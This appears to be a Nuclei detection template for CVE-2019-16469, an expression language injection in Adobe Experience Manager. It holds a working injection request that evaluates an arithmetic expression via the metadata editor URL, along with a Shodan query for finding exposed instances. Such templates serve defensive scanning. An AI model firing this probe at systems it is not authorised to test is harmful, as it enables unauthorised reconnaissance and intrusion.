Adobe Experience Manager - Expression Language Injection

id: CVE-2019-16469

info:
  name: Adobe Experience Manager - Expression Language Injection
  author: DomenicoVeneziano
  severity: high
  description: |
    Adobe Experience Manager versions 6.5, 6.4, 6.3, 6.2, 6.1, and 6.0 has an expression language injection vulnerability.
  impact: |
    Successful exploitation could lead to sensitive information disclosure
  remediation: |
    To fix the vulnerability, it is necessary to update the Adobe AEM instance using the Service Pack 6.5.3.0
  reference:
    - https://nozero.io/en/cve-2019-16469-adobe-aem-expression-language-injection/
    - https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16469
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-16469
    cwe-id: CWE-917
    epss-score: 0.17165
    epss-percentile: 0.95967
    cpe: cpe:2.3:a:adobe:experience_manager:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: adobe
    product: experience_manager
    shodan-query: http.component:"Adobe Experience Manager"
  tags: cve,cve2019,aem,eli,csti
variables:
  num1: "{{rand_int(800000, 999999)}}"
  num2: "{{rand_int(800000, 999999)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - method: GET
    path:
      - '{{BaseURL}}/mnt/overlay/dam/gui/content/assets/metadataeditor.external.html?item=$%7b{{num1}}*{{num2}}%7d'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'data-formid="{{result}}"'
          - 'Embed Code'
        condition: and

      - type: status
        status:
          - 200
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